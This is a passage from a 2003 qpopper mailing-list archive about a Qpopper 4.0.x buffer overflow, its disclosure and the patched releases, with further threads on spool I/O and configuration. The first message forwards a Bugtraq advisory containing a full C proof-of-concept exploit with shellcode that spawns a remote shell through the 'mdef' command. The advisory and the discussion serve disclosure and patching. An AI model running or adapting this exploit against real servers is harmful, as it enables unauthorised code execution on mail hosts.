The qpopper list archive ending on 14 Mar 2003
Topics covered in this issue include:
1. Fwd: QPopper 4.0.x buffer overflow vulnerability
Mike Tancsa <mike at sentex dot net>
Tue, 11 Mar 2003 17:27:43 -0500
2. Re: The Qpopper 4.0.x exploit
"Alan W. Rateliff, II" <lists at rateliff dot net>
Tue, 11 Mar 2003 17:49:22 -0500
3. Re: The Qpopper 4.0.x exploit
Alan Brown <alanb at digistar dot com>
Tue, 11 Mar 2003 19:13:04 -0500 (EST)
4. Re: The Qpopper 4.0.x exploit
Jerry <jerry at fnord dot org>
Tue, 11 Mar 2003 18:20:25 -0600
5. Qpopper 4.0.5fc2 available
Randall Gellens <randy at qualcomm dot com>
Tue, 11 Mar 2003 18:42:04 -0800
6. Re: The Qpopper 4.0.x exploit
Randall Gellens <randy at qualcomm dot com>
Tue, 11 Mar 2003 18:56:56 -0800
7. Re: The Qpopper 4.0.x exploit
The Little Prince <thelittleprince at asteroid-b612 dot org>
Tue, 11 Mar 2003 22:27:26 -0800 (PST)
8. Re: The Qpopper 4.0.x exploit
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Wed, 12 Mar 2003 01:53:59 -0500
9. the use of `tempnam' is dangerous, better use `mkstemp'
Rudolf Koesters <rk at johanns-datentechnik dot de>
12 Mar 2003 07:28:33 UT
10. Re: The Qpopper 4.0.x exploit
Alan Brown <alanb at digistar dot com>
Wed, 12 Mar 2003 12:14:40 -0500 (EST)
11. Re: the use of `tempnam' is dangerous, better use `mkstemp'
Daniel Senie <dts at senie dot com>
Wed, 12 Mar 2003 08:16:51 -0500
12. Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Chris Shenton <Chris.Shenton at hq.nasa dot gov>
Wed, 12 Mar 2003 12:42:18 -0500
13. Unable to get spool name problem!!!
Gustavo Moyano <gustavo at infodoors.com dot ar>
Wed, 12 Mar 2003 10:34:45 -0300
14. Re: QPopper 4.0.x buffer overflow vulnerability
Mark <admin at asarian-host dot net>
Wed, 12 Mar 2003 10:15:10 GMT
15. Re: The Qpopper 4.0.x exploit
Alan Brown <alanb at digistar dot com>
Wed, 12 Mar 2003 04:45:16 -0500 (EST)
16. dial-up problems
Gustavo Moyano <gustavo at infodoors.com dot ar>
Wed, 12 Mar 2003 10:51:11 -0300
17. Re: Qpopper 4.0.5fc2 available
Kenneth Porter <shiva at sewingwitch dot com>
Wed, 12 Mar 2003 01:06:22 -0800
18. Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Greg Earle <earle at isolar.DynDNS dot ORG>
Wed, 12 Mar 2003 12:23:24 -0800
19. Re: The Qpopper 4.0.x exploit
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Wed, 12 Mar 2003 14:53:38 -0500
20. Qpopper 4.0.5fc3 available
Randall Gellens <randy at qualcomm dot com>
Wed, 12 Mar 2003 15:22:49 -0800
21. Re: The Qpopper 4.0.x exploit
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Wed, 12 Mar 2003 14:44:02 -0500
22. Re: QPopper 4.0.x buffer overflow vulnerability
Daniel Senie <dts at senie dot com>
Wed, 12 Mar 2003 15:09:06 -0500
23. Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Simon Byrnand <simon at igrin.co dot nz>
Thu, 13 Mar 2003 14:27:42 +1300
24. Re: The Qpopper 4.0.x exploit
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Wed, 12 Mar 2003 17:36:31 -0500
25. Re: QPopper 4.0.x buffer overflow vulnerability
Randall Gellens <randy at qualcomm dot com>
Wed, 12 Mar 2003 18:21:49 -0800
26. Qpopper 4.0.5 (final) available
Randall Gellens <randy at qualcomm dot com>
Wed, 12 Mar 2003 18:41:52 -0800
27. Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Chip Old <fold at bcpl dot net>
Wed, 12 Mar 2003 20:18:28 -0500 (EST)
28. Re: the use of `tempnam' is dangerous, better use `mkstemp'
Kenneth Porter <shiva at sewingwitch dot com>
Thu, 13 Mar 2003 00:30:46 -0800
29. Re: Qpopper 4.0.5 (final) available
Kenneth Porter <shiva at sewingwitch dot com>
Thu, 13 Mar 2003 01:44:24 -0800
30. Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Simon Byrnand <simon at igrin.co dot nz>
Thu, 13 Mar 2003 14:45:04 +1300
31. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Eric Luyten <Eric.Luyten at vub.ac dot be>
Thu, 13 Mar 2003 12:05:36 +0100 (MET)
32. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Alan Brown <alanb at digistar dot com>
Thu, 13 Mar 2003 08:47:50 -0500 (EST)
33. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Kenneth Porter <shiva at sewingwitch dot com>
Thu, 13 Mar 2003 06:10:14 -0800
34. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Alan Brown <alanb at digistar dot com>
Thu, 13 Mar 2003 09:50:21 -0500 (EST)
35. qpopper-mysql-0.10 release
The Little Prince <thelittleprince at asteroid-b612 dot org>
Thu, 13 Mar 2003 06:56:14 -0800 (PST)
36. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
David Lee <t.d.lee at durham.ac dot uk>
Thu, 13 Mar 2003 15:09:46 +0000 (GMT)
37. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Eric Luyten <Eric.Luyten at vub.ac dot be>
Thu, 13 Mar 2003 18:21:08 +0100 (MET)
38. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Alan Brown <alanb at digistar dot com>
Thu, 13 Mar 2003 14:16:23 -0500 (EST)
39. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser
Simon Byrnand <simon at igrin.co dot nz>
Fri, 14 Mar 2003 09:46:30 +1300
40. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Chris Shenton <Chris.Shenton at hq.nasa dot gov>
Thu, 13 Mar 2003 16:32:21 -0500
41. Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Chris Shenton <Chris.Shenton at hq.nasa dot gov>
Thu, 13 Mar 2003 16:24:31 -0500
42. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser
Simon Byrnand <simon at igrin.co dot nz>
Fri, 14 Mar 2003 10:32:13 +1300
43. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
David Champion <dgc at uchicago dot edu>
Thu, 13 Mar 2003 16:47:33 -0600
44. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Alan Brown <alanb at digistar dot com>
Thu, 13 Mar 2003 17:45:13 -0500 (EST)
45. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool
Alan Brown <alanb at digistar dot com>
Thu, 13 Mar 2003 17:33:47 -0500 (EST)
46. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
Greg Earle <earle at isolar.DynDNS dot ORG>
Thu, 13 Mar 2003 16:39:26 -0800
47. Re: Fwd: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Chuck Yerkes <chuck+qpopper at yerkes dot com>
Thu, 13 Mar 2003 21:15:24 -0500
48. --without-gdbm [patch]
"Mordechai T. Abzug" <morty at frakir dot org>
Thu, 13 Mar 2003 21:37:00 -0500
49. Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Eric Luyten <Eric.Luyten at vub.ac dot be>
Fri, 14 Mar 2003 11:14:39 +0100 (MET)
50. QPopper 4.0.5 engage problem.
Carles Xavier Munyoz =?iso-8859-1?q?Baldó?= <carles at descom dot es>
Fri, 14 Mar 2003 12:24:50 +0100
Date: Tue, 11 Mar 2003 17:27:43 -0500
From: Mike Tancsa <mike at sentex dot net>
Subject: Fwd: QPopper 4.0.x buffer overflow vulnerability
Does anyone know if there is a patch for this or an updated version in the
works ?
---Mike
>Mailing-List: contact bugtraq-help at securityfocus dot com; run by ezmlm
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq at securityfocus dot com>
>List-Help: <mailto:bugtraq-help at securityfocus dot com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe at securityfocus dot com>
>List-Subscribe: <mailto:bugtraq-subscribe at securityfocus dot com>
>Delivered-To: mailing list bugtraq at securityfocus dot com
>Delivered-To: moderator for bugtraq at securityfocus dot com
>Date: Mon, 10 Mar 2003 15:31:34 +0100
>From: Florian Heinz <heinz at cronon-ag dot de>
>To: bugtraq at securityfocus dot com
>Subject: QPopper 4.0.x buffer overflow vulnerability
>User-Agent: Mutt/1.5.3i
>X-Spam-Status: No, hits=-1.0 required=7.0
> tests=KNOWN_MAILING_LIST,SPAM_PHRASE_00_01,USER_AGENT,
> USER_AGENT_MUTT
> version=2.43
>X-Virus-Scanned: by Sentex Communications (avscan2/20021227.p2)
>
>Hello,
>
>Under certain conditions it is possible to execute arbitrary code using
>a buffer overflow in the recent qpopper.
>
>You need a valid username/password-combination and code is (depending on
>the setup) usually executed with the user's uid and gid mail.
>
>Explanation:
>
>Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
>function is used unconditionally on any system, regardless if the system
>has its own vsnprintf().
>The function correctly writes up to 'n' bytes into the buffer, but fails
>to null-terminate it, if buffer-space runs out while copying the
>format-string (so the obvious fix is, null-terminate the buffer in
>Qvsnprintf()).
>This is a problem in pop_msg() (popper/pop_msg.c).
>The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
>the successive call to strcat (strcat(message,"\r\n")) writes somewhere
>into thew stack. What it exactly overwrites depends heavily on the
>individual binary and the current stack-data (where is the next
>null-byte).
>I successfully managed to execute arbitrary code using the
>'mdef'-command with the binary in the most recent debian-package
>'qpopper-4.0.4-8'
>Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
>fills the buffer leaving it unterminated. The strcat overwrites the
>least significant byte of the saved basepointer on the stack,
>now pointing inside the buffer. On return of pop_mdef() (file
>pop_extend.c), the return-address is now fetched from within our buffer
>(and of course pointing inside our buffer), allowing to, for example,
>spawn a shell.
>The Macroname may not include bytes causing isspace() to return true
>and, of course, no null-byte, so shellcode must be appropriate crafted.
>I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
>SuSE is more lucky, strcat doesn't overwrite critical values. I have
>not yet tested other distributions.
>
>Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
>debian qpopper-4.0.4-8:
>
>-- snip --
>
>
>#include <sys/socket.h>
>#include <sys/select.h>
>#include <netinet/in.h>
>#include <arpa/inet.h>
>#include <stdio.h>
>#include <string.h>
>#include <stdlib.h>
>#include <unistd.h>
>
>char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
> "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
> "\x40\x40\xcd\x80";
>
>#define BUFLEN 1006
>#define RETLEN 148
>#define RETADDR 0xbfffd304
>
>int main (int argc, char **argv) {
> int fd, len, i, retaddr = RETADDR;
> char *bp, buf[2000];
> struct sockaddr_in peer;
> fd_set fs;
>
> if (argc != 4) {
> fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
> exit(EXIT_FAILURE);
> }
>
> peer.sin_family = AF_INET;
> peer.sin_port = htons(110);
> peer.sin_addr.s_addr = inet_addr(argv[1]);
> fd = socket(AF_INET, SOCK_STREAM, 0);
> if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in))
> < 0) {
> perror("connect");
> exit(EXIT_FAILURE);
> }
> snprintf(buf, 1024, "USER %s\n", argv[2]);
> write(fd, buf, strlen(buf));
> snprintf(buf, 1024, "PASS %s\n", argv[3]);
> write(fd, buf, strlen(buf));
> memset(buf, 0x90, 2000);
> memcpy(buf, "mdef ", 5);
> memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
> bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
> for (i = 0; i < RETLEN; i += 4)
> memcpy(bp+i+2, &retaddr, sizeof(int));
> buf[BUFLEN-2] = '(';
> buf[BUFLEN-1] = ')';
> buf[BUFLEN] = '\n';
> write(fd, buf, BUFLEN+1);
> while (1) {
> FD_ZERO(&fs);
> FD_SET(0, &fs);
> FD_SET(fd, &fs);
> select(fd+1, &fs, NULL, NULL, NULL);
> if (FD_ISSET(0, &fs)) {
> if ((len = read(0, buf, 1000)) <= 0)
> break;
> write(fd, buf, len);
> } else {
> if ((len = read(fd, buf, 1000)) <= 0)
> break;
> write(1, buf, len);
> }
> }
>
> exit(EXIT_SUCCESS);
>}
>
>-- snap --
>
>This is the short version. An enhanced version with error-checking,
>bufsize- and return-address autodetection can be found on
>http://nstx.dereference.de/snippets/qex.c
>
>Feedback is welcome.
>
>regards,
>
>Florian Heinz
>Cronon AG
>http://www.cronon.org
>
>PS: sorry for the bad english ;)
--------------------------------------------------------------------
Mike Tancsa, tel +1 519 651 3400
Sentex Communications, mike at sentex dot net
Providing Internet since 1994 www.sentex.net
Cambridge, Ontario Canada www.sentex.net/mike
From: "Alan W. Rateliff, II" <lists at rateliff dot net>
Subject: Re: The Qpopper 4.0.x exploit
Date: Tue, 11 Mar 2003 17:49:22 -0500
----- Original Message -----
From: "Brad Stockdale" <brad at greenepa dot net>
To: "Subscribers of Qpopper" <qpopper at lists.pensive dot org>
Sent: Tuesday, March 11, 2003 4:45 PM
Subject: Re: The Qpopper 4.0.x exploit
> Hello all,
>
> I'm sure by now you all have heard that there is a Qpopper 4.0.x
> exploit going around... (If not, it was posted to bugtraq sometime this
> morning I believe -- Should be findable on the bugtraq archives)
> I was just wondering if anyone had a temporary or permanent fix for the
> problem?
What really irks me is that we shouldn't have to ask this question. I don't
know what the order of events are, but it seems to me that this
vulnerability was made public with a POC exploit before Qualcomm was given
time to inform us and supply a patch.
As someone admining a great number of servers running QPopper, I'm more than
a little pissed about this. I guess having more information would be
helpful, but my immediate complaint is founded.
From what I understand, it's mitigated some by requiring a valid username
and password. That eases my worries somewhat.
Anyone else?
--
Alan W. Rateliff, II : RATELIFF.NET
Independent Technology Consultant : alan2 at rateliff dot net
(Office) 850/350-0260 : (Mobile) 850/559-0100
-------------------------------------------------------------
[System Administration][IT Consulting][Computer Sales/Repair]
Date: Tue, 11 Mar 2003 19:13:04 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: The Qpopper 4.0.x exploit
On Tue, 11 Mar 2003, Alan W. Rateliff, II wrote:
> What really irks me is that we shouldn't have to ask this question. I don't
> know what the order of events are, but it seems to me that this
> vulnerability was made public with a POC exploit before Qualcomm was given
> time to inform us and supply a patch.
It gets worse than that. The USA's vaterland^H^H^H^H^H^H^H^H^homeland
security laws have made it almost impossible for people to get
disclosure on this stuff before the announcements are done. A select few
know about it and if they breathe a word about it, they may find
themselves up on terrorism support charges.
It is entirely possible that Qualcomm knew about it for months and have
been unable to reveal it.
Time to move those disclosure lists off to a slightly saner country,
folks...
AB
Date: Tue, 11 Mar 2003 18:20:25 -0600
From: Jerry <jerry at fnord dot org>
Subject: Re: The Qpopper 4.0.x exploit
my $0.02, replace qpopper w/ cucipop.
http://freshmeat.net/projects/cucipop/?topic_id=34
Good luck!
JR
At 04:49 PM 3/11/2003, Alan W. Rateliff, II wrote:
>----- Original Message -----
>From: "Brad Stockdale" <brad at greenepa dot net>
>To: "Subscribers of Qpopper" <qpopper at lists.pensive dot org>
>Sent: Tuesday, March 11, 2003 4:45 PM
>Subject: Re: The Qpopper 4.0.x exploit
>
>
> > Hello all,
> >
> > I'm sure by now you all have heard that there is a Qpopper 4.0.x
> > exploit going around... (If not, it was posted to bugtraq sometime this
> > morning I believe -- Should be findable on the bugtraq archives)
>
> > I was just wondering if anyone had a temporary or permanent fix for the
> > problem?
>
>What really irks me is that we shouldn't have to ask this question. I don't
>know what the order of events are, but it seems to me that this
>vulnerability was made public with a POC exploit before Qualcomm was given
>time to inform us and supply a patch.
>
>As someone admining a great number of servers running QPopper, I'm more than
>a little pissed about this. I guess having more information would be
>helpful, but my immediate complaint is founded.
>
> >From what I understand, it's mitigated some by requiring a valid username
>and password. That eases my worries somewhat.
>
>Anyone else?
>
>--
> Alan W. Rateliff, II : RATELIFF.NET
> Independent Technology Consultant : alan2 at rateliff dot net
> (Office) 850/350-0260 : (Mobile) 850/559-0100
>-------------------------------------------------------------
>[System Administration][IT Consulting][Computer Sales/Repair]
Date: Tue, 11 Mar 2003 18:42:04 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Qpopper 4.0.5fc2 available
Qpopper 4.0.5fc2 is available at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>.
The full list of changes from one release to the next is on the FTP
site, at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/Changes>.
Changes from 4.0.4b2 to 4.0.5fc2:
------------------------------
10. Fixed (non-root) buffer overflow.
Please check this release out and let me know if you encounter any
problems. I plan on releasing 4.0.5 tomorrow afternoon if no problem
reports are received.
--
Randall Gellens
Opinions are personal; facts are suspect; I speak for myself only
-------------- Randomly-selected tag: ---------------
Man is a rational animal who always loses his temper when he is
called upon to act in accordance with the dictates of reason.
--Oscar Wilde
Date: Tue, 11 Mar 2003 18:56:56 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Re: The Qpopper 4.0.x exploit
At 7:13 PM -0500 3/11/03, Alan Brown wrote:
> It is entirely possible that Qualcomm knew about it for months and have
> been unable to reveal it.
The first I heard of the problem was this morning.
I've not been able to get a shell, but I have been able to get
Qpopper to crash using the exploit. A fixed Qpopper (version
4.0.5fc2) is available now at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
releasing 4.0.5 final tomorrow unless I hear of any problems with
4.0.5fc2.
--
Randall Gellens
Opinions are personal; facts are suspect; I speak for myself only
-------------- Randomly-selected tag: ---------------
If you can't be a good example, at least be a horrible warning.
Date: Tue, 11 Mar 2003 22:27:26 -0800 (PST)
From: The Little Prince <thelittleprince at asteroid-b612 dot org>
Subject: Re: The Qpopper 4.0.x exploit
On Tue, 11 Mar 2003, Randall Gellens wrote:
>
> I've not been able to get a shell, but I have been able to get
> Qpopper to crash using the exploit. A fixed Qpopper (version
> 4.0.5fc2) is available now at
> <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
> releasing 4.0.5 final tomorrow unless I hear of any problems with
> 4.0.5fc2.
>
i haven't been able to get a shell or crash it, for 4.0.4 under RH linux
or freebsd. i just get Macro <bunch of crap> accepted, and puts me back
into normal command mode.
i don't know what i'm doing wrong. that sounds weird.
--Tony
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Anthony J. Biacco Network Administrator/Engineer
thelittleprince at asteroid-b612.org http://www.asteroid-b612 dot org
"This will prove a brave kingdom to me,
where I shall have my music for nothing"
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Date: Wed, 12 Mar 2003 01:53:59 -0500
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: The Qpopper 4.0.x exploit
Don't you love those assholes who throw the problem out
without mentioning it to (available!) developers first.
Just glad Sendmail got a heads up to coordinate the 20 vendors
and their patches for that problem.
Quoting Randall Gellens (randy at qualcomm dot com):
> At 7:13 PM -0500 3/11/03, Alan Brown wrote:
>
> > It is entirely possible that Qualcomm knew about it for months and have
> > been unable to reveal it.
>
> The first I heard of the problem was this morning.
>
> I've not been able to get a shell, but I have been able to get
> Qpopper to crash using the exploit. A fixed Qpopper (version
> 4.0.5fc2) is available now at
> <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
> releasing 4.0.5 final tomorrow unless I hear of any problems with
> 4.0.5fc2.
From: Rudolf Koesters <rk at johanns-datentechnik dot de>
Subject: the use of `tempnam' is dangerous, better use `mkstemp'
Date: 12 Mar 2003 07:28:33 UT
Hello !
I just want to setup the new 4.05fc2 on a SUSE 7.3 box,
here are my configure options:
./configure --enable-nonauth-file=/etc/popusers --enable-log-facility=LOG_LOCAL0 --enable-shy --enable-specialauth --enable-log-login
and I get following warning:
./common/libcommon.a(maillock.o): In function `Qmaillock':
/home/rk/pop405fc2/qpopper4.0.5fc2/common/maillock.c:278: the use of `tempnam' is dangerous, better use `mkstemp'
make[1]: Leaving directory `/home/rk/pop405fc2/qpopper4.0.5fc2/popper'
Popper is compiled and works ...
I remember to have seen this warning in other Popper Version 4.0.3, 4.04, but never had problems with qpopper.
But I want to solve this ... what can I do about ?
Date: Wed, 12 Mar 2003 12:14:40 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: The Qpopper 4.0.x exploit
On Wed, 12 Mar 2003, Chuck Yerkes wrote:
> I'm not sure if slackware can count as a vendor.
The distribution is sold and there are outfits offering commercial support.
> The issue is this was a highly sensitive problem and the person
> notified had to be 1) trusted and 2) under NDA. Deeply under
> NDA until it was revealed.
Uh, says who?
As a direct result of the sendmail shenanigans, plus CERT's recent
statements regarding who does and doesn't get heads-up prior to
dosclosure, I was expecting that people would start simply announcing
vulnerabilities to bugtraq and other full disclosure lists without
bothering to give the usual 7 day lead time.
I'd say the Qpopper announcement is just the start of it.
Having people threatened with jailtime using the Homeland security act
should they disclose a security vulnerability is just plain over the
top. Expect to see the announcements start coming from countries where
it would be quite hard for the USA to trace the senders.
> As for exploits, I'm aware of a couple anti-stack smashing kernel
> patches that Linux ignores regularly.
I'm aware of them. There are reasons for not including them as standard
- they break on various architectures as currently distributed.
> I expect that from Sun, but
> open source projects are able to be agile enough to actually work
> on security. I just wish Linus would.
Linus is just the coordinator these days (and in the development trees
he's farmed that off to Alan, Rik and Marcelo). It takes someone to
write the code and then at least 4-5 more people to audit it before it's
declared ready for inclusion in the experimental kernels...
AB
Date: Wed, 12 Mar 2003 08:16:51 -0500
From: Daniel Senie <dts at senie dot com>
Subject: Re: the use of `tempnam' is dangerous, better use `mkstemp'
At 02:28 AM 3/12/2003, Rudolf Koesters wrote:
>Hello !
>
>I just want to setup the new 4.05fc2 on a SUSE 7.3 box,
>here are my configure options:
>./configure --enable-nonauth-file=/etc/popusers
>--enable-log-facility=LOG_LOCAL0 --enable-shy --enable-specialauth
>--enable-log-login
>
>and I get following warning:
>
>./common/libcommon.a(maillock.o): In function `Qmaillock':
>/home/rk/pop405fc2/qpopper4.0.5fc2/common/maillock.c:278: the use of
>`tempnam' is dangerous, better use `mkstemp'
>make[1]: Leaving directory `/home/rk/pop405fc2/qpopper4.0.5fc2/popper'
>
>Popper is compiled and works ...
>I remember to have seen this warning in other Popper Version 4.0.3, 4.04,
>but never had problems with qpopper.
>But I want to solve this ... what can I do about ?
ignore it. Problem solved.
tempnam is POTENTIALLY dangerous if it isn't used correctly. In this case,
the usage is fine. The warning from the compiler is overbroad.
I expect at some point we'll have to just replace the call to tempnam()
with a local routine in qpopper (with no change in functionality) just to
shut up this warning message.
At least that's my take on the matter...
Dan
Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O
From: Chris Shenton <Chris.Shenton at hq.nasa dot gov>
Date: Wed, 12 Mar 2003 12:42:18 -0500
Greg Earle <earle at isolar.DynDNS dot ORG> writes:
> But we have these few recalcitrant users who don't seem to know that "Keep
> Messages On The Server" is bad. Really Bad. Especially when these few
> people have mail spool files that are over 50 Mbytes in size. Some of
> them even closer to 100 Mbytes (or over).
IMHO users do this not because they're trying to be butt-heads, but
because they're trying to get work done. If their mail is sitting on
their desktop at work, they can't access it on the road. Etc.
> Naturally, every time these people POP in, the system goes into complete
> I/O and CPU starvation mode as all cycles get used up copying their huge
> mail spools to /var/mail/.luser.pop and then back again to /var/mail/luser.
Is this just when a user deletes a message? Or even when they just
read a message (does the pop server have to touch the message content
to update attributes like Status?). Either way, expensive I admit.
If the spool and temp file are on the same filesystem, you should be
able to avoid the "copy" back to the original file: a UNIX rename()
should be fine and is a "atomic" under UNIX (is a single fast
operation, either succeeds completely or fails completely). So you
avoid the second block-by-block disk read and write which hits the
same disk twice for ever block. Should help performance. But I don't
know if the code works this way or not.
Note that this is NOT atomic if you have the two files on different
filesystems.
From: Gustavo Moyano <gustavo at infodoors.com dot ar>
Subject: Unable to get spool name problem!!!
Date: Wed, 12 Mar 2003 10:34:45 -0300
Hello, I'm having problem when I want to receive e-mails from dial-up.
The message that the server show say: "Unable to get spool name"
I configure qpopper 4.0.4 like this:
/configure \
--enable-home-dir-mail=Mailbox \
--disable-old-spool-loc \
--enable-log-login \
--enable-keep-temp-drop
What is ther problem?
Thanks.
From: Mark <admin at asarian-host dot net>
Date: Wed, 12 Mar 2003 10:15:10 GMT
Subject: Re: QPopper 4.0.x buffer overflow vulnerability
----- Original Message -----
From: "Mike Tancsa" <mike at sentex dot net>
To: "Subscribers of Qpopper" <qpopper at lists.pensive dot org>
Sent: Tuesday, March 11, 2003 11:59 PM
Subject: Fwd: QPopper 4.0.x buffer overflow vulnerability
> Does anyone know if there is a patch for this or an updated version in the
> works ?
>
> ---Mike
I dunno; the source of the exploit does not even compile on FreeBSD 4.7R, so
I cannot check the vulnerability, even. :( They say there is a 4.0.5fc2
build, but I will not install a beta version just for one day.
- Mark
System Administrator Asarian-host.org
---
"If you were supposed to understand it,
we wouldn't call it code." - FedEx
Date: Wed, 12 Mar 2003 04:45:16 -0500 (EST)
From: Alan Brown <alanb at digistar dot com>
Subject: Re: The Qpopper 4.0.x exploit
On Wed, 12 Mar 2003, Chuck Yerkes wrote:
> Just glad Sendmail got a heads up to coordinate the 20 vendors
> and their patches for that problem.
They locked most of the linux distros out of that loop.
The first the Slackware guys knew about it was when they were mailed a
heads-up about the vulnerability being published.
While they had a patched version out within hours, there were exploit
kits specifically targetting Slackware already circulating the next day.
From: Gustavo Moyano <gustavo at infodoors.com dot ar>
Subject: dial-up problems
Date: Wed, 12 Mar 2003 10:51:11 -0300
I get that message in the log:
Mar 12 10:47:06 ns1 qpopper[4564]: Insufficient room to generate path for
user
marcelo; need more than 418; have only 256
Mar 12 10:47:06 ns1 qpopper[4564]: marcelo at
modem215-as2.capfed1.sinectis.com.ar (216.244.197.215): -ERR [SYS/TEMP]
Unable to get spool name
Only from dial-up.
Does anybody know what is the problem??
Date: Wed, 12 Mar 2003 01:06:22 -0800
From: Kenneth Porter <shiva at sewingwitch dot com>
Subject: Re: Qpopper 4.0.5fc2 available
--On Tuesday, March 11, 2003 6:42 PM -0800 Randall Gellens
<randy at qualcomm dot com> wrote:
> 10. Fixed (non-root) buffer overflow.
Matching RPM (Red Hat 7.2 with DRAC support) and SRPM here:
<http://www.sewingwitch.com/ken/SRPMS/qpopper-4.0.5-0.2.i386.rpm>
<http://www.sewingwitch.com/ken/SRPMS/qpopper-4.0.5-0.2.src.rpm>
I recommend rebuilding from the SRPM to match your system.
Subject: Re: Avoiding copy-to-.luser.pop-and-back-to-luser spool I/O overhead?
Date: Wed, 12 Mar 2003 12:23:24 -0800
From: Greg Earle <earle at isolar.DynDNS dot ORG>
Chris Shenton wrote:
> Greg Earle <earle at isolar.DynDNS dot ORG> writes:
>
>> But we have these few recalcitrant users who don't seem to know that "Keep
>> Messages On The Server" is bad. Really Bad. Especially when these few
>> people have mail spool files that are over 50 Mbytes in size. Some of
>> them even closer to 100 Mbytes (or over).
>
> IMHO users do this not because they're trying to be butt-heads, but
> because they're trying to get work done. If their mail is sitting on
> their desktop at work, they can't access it on the road. etc.
The small group of recalcitrants is made up of a couple of people that might
fit that category, but the others are just lazy non-mobile astronomers :-)
>> Naturally, every time these people POP in, the system goes into complete
>> I/O and CPU starvation mode as all cycles get used up copying their huge
>> mail spools to /var/mail/.luser.pop and then back again to /var/mail/luser.
>
> Is this just when a user deletes a message? Or even when they just
> read a message (does the pop server have to touch the message content
> to update attributes like Status?). Either way, expensive I admit.
I'm not sure - all I know is that when I'm actually watching, the load
average jumps up to 3 or 4, I clamp a truss on the qpopper processes and
sure enough, they're doing the luser -> .luser.pop -> luser copies. Then
I start to get complaints from others about how "the POP server is sluggish".
> If the spool and temp file are on the same filesystem, you should be
> able to avoid the "copy" back to the original file: a UNIX rename()
> should be fine and is a "atomic" under UNIX (is a single fast
> operation, either succeeds completely or fails completely). So you
> avoid the second block-by-block disk read and write which hits the
> same disk twice for every block. Should help performance. But I don't
> know if the code works this way or not.
I don't think the code works that way, from what I've seen. It would
definitely help if it was just doing a rename() from luser to .luser.pop -
half the disk I/O would go away :-)
Anyway, I've found an extra spare 9 Gbyte SCSI disk lying around, so I'm
going to add that to the external bus and build 4.0.5 with the temp/cache
options (pointing them to the spare disk) Gregory Hicks suggested yesterday
and see how it goes, once 4.0.5 is out officially ...
- Greg
Date: Wed, 12 Mar 2003 14:53:38 -0500
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: The Qpopper 4.0.x exploit
Quoting Alan Brown (alanb at digistar dot com):
> On Wed, 12 Mar 2003, Chuck Yerkes wrote:
>
> > I'm not sure if slackware can count as a vendor.
>
> The distribution is sold and there are outfits offering commercial support.
>
> > The issue is this was a highly sensitive problem and the person
> > notified had to be 1) trusted and 2) under NDA. Deeply under
> > NDA until it was revealed.
And just to be clear, I say this based on past behaviors of software
like sendmail, apache and BIND. I don't speak for Sendmail. I do
know, from the advisories, that the problem was revealed to
"authorities" (sendmail? CERT? DoHS? I dunno) before monday and
